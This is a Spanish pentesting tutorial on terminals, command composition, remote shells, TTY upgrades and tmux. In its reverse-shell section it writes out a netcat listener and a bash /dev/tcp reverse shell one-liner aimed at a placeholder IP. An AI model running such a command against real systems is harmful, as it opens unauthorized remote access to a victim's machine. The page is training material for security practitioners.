Línea de comandos y shells
El pentester vive en la terminal. La interfaz gráfica es cómoda, pero la línea de comandos es rápida, scriptable, automatizable y —crucial— es lo único que tienes cuando consigues una shell remota en una víctima. Dominar la terminal no es opcional: es tu entorno de trabajo primario y, a menudo, el único disponible al otro lado.
Terminal, shell e intérpretes
Sección titulada «Terminal, shell e intérpretes»- Terminal: la ventana. Shell: el programa que interpreta tus comandos.
- Shells de Unix: bash (el estándar), zsh (Kali/macOS por defecto), sh (minimalista, el que suele haber en una víctima).
- Windows: cmd.exe y PowerShell (ver PowerShell para hacking).
Navegación y ficheros (lo mínimo imprescindible)
Sección titulada «Navegación y ficheros (lo mínimo imprescindible)»pwd dónde estoy ls -la listar (oculto + detalle)cd /ruta moverme cat / less ver contenidofind / -name "*.conf" buscar ficherosgrep -r "clave" . buscar texto dentro de ficheroscp / mv / rm copiar / mover / borrarchmod +x / chown permisos (ver fund-linux)Composición: el superpoder de la CLI
Sección titulada «Composición: el superpoder de la CLI»El valor real está en encadenar comandos simples en algo potente:
cmd1 | cmd2 # pipe: salida de uno -> entrada del otrocmd > f / cmd >> f # redirigir salida (sobrescribe / añade)cmd 2>/dev/null # silenciar errorescmd1 && cmd2 # cmd2 solo si cmd1 tuvo éxitohistory | grep ssh # buscar en tu historialShells remotas: reverse vs bind
Sección titulada «Shells remotas: reverse vs bind»Cuando explotas una víctima, obtienes una shell. Dos tipos:
# reverse shell: la VÍCTIMA conecta hacia TI (salta NAT/firewall de salida)# en tu máquina (listener):nc -lvnp 4444# en la víctima:bash -i >& /dev/tcp/TU_IP/4444 0>&1
# bind shell: TÚ conectas a un puerto que la víctima abreLa reverse shell es la más usada porque el tráfico de salida suele estar permitido.
Mejorar una shell pobre (TTY upgrade)
Sección titulada «Mejorar una shell pobre (TTY upgrade)»Una shell básica no tiene autocompletado, flechas ni Ctrl+C. Se “actualiza”:
python3 -c 'import pty;pty.spawn("/bin/bash")'# luego Ctrl+Z, en tu terminal: stty raw -echo; fg ; y en la shell: export TERM=xtermMultiplexores: tmux / screen
Sección titulada «Multiplexores: tmux / screen»tmux # sesiones persistentes que sobreviven a desconexiones# paneles, ventanas, y no perder una shell si se cae tu SSHImprescindible para no perder una reverse shell o un escaneo largo si se corta la conexión.
Por qué importa en seguridad
Sección titulada «Por qué importa en seguridad»Cuando comprometes un sistema, lo que recibes es una línea de comandos —a menudo pobre, sin GUI, sin tus herramientas. Tu capacidad de operar ahí (navegar, enumerar, transferir ficheros, estabilizar la shell, pivotar) depende por completo de tu soltura con la CLI. Y del lado de ataque, todo tu flujo (recon, escaneo, explotación) es más rápido y automatizable desde la terminal.
Checklist de dominio
Sección titulada «Checklist de dominio»- Navego y manipulo ficheros con fluidez (cd/ls/find/grep/cat)
- Compongo comandos con pipes y redirecciones
- Diferencio reverse shell de bind shell y sé cuándo usar cada una
- Monto un listener (nc) y recibo una reverse shell
- Hago un TTY upgrade de una shell pobre
- Uso tmux/screen para sesiones persistentes
- Me muevo igual en bash, zsh y sh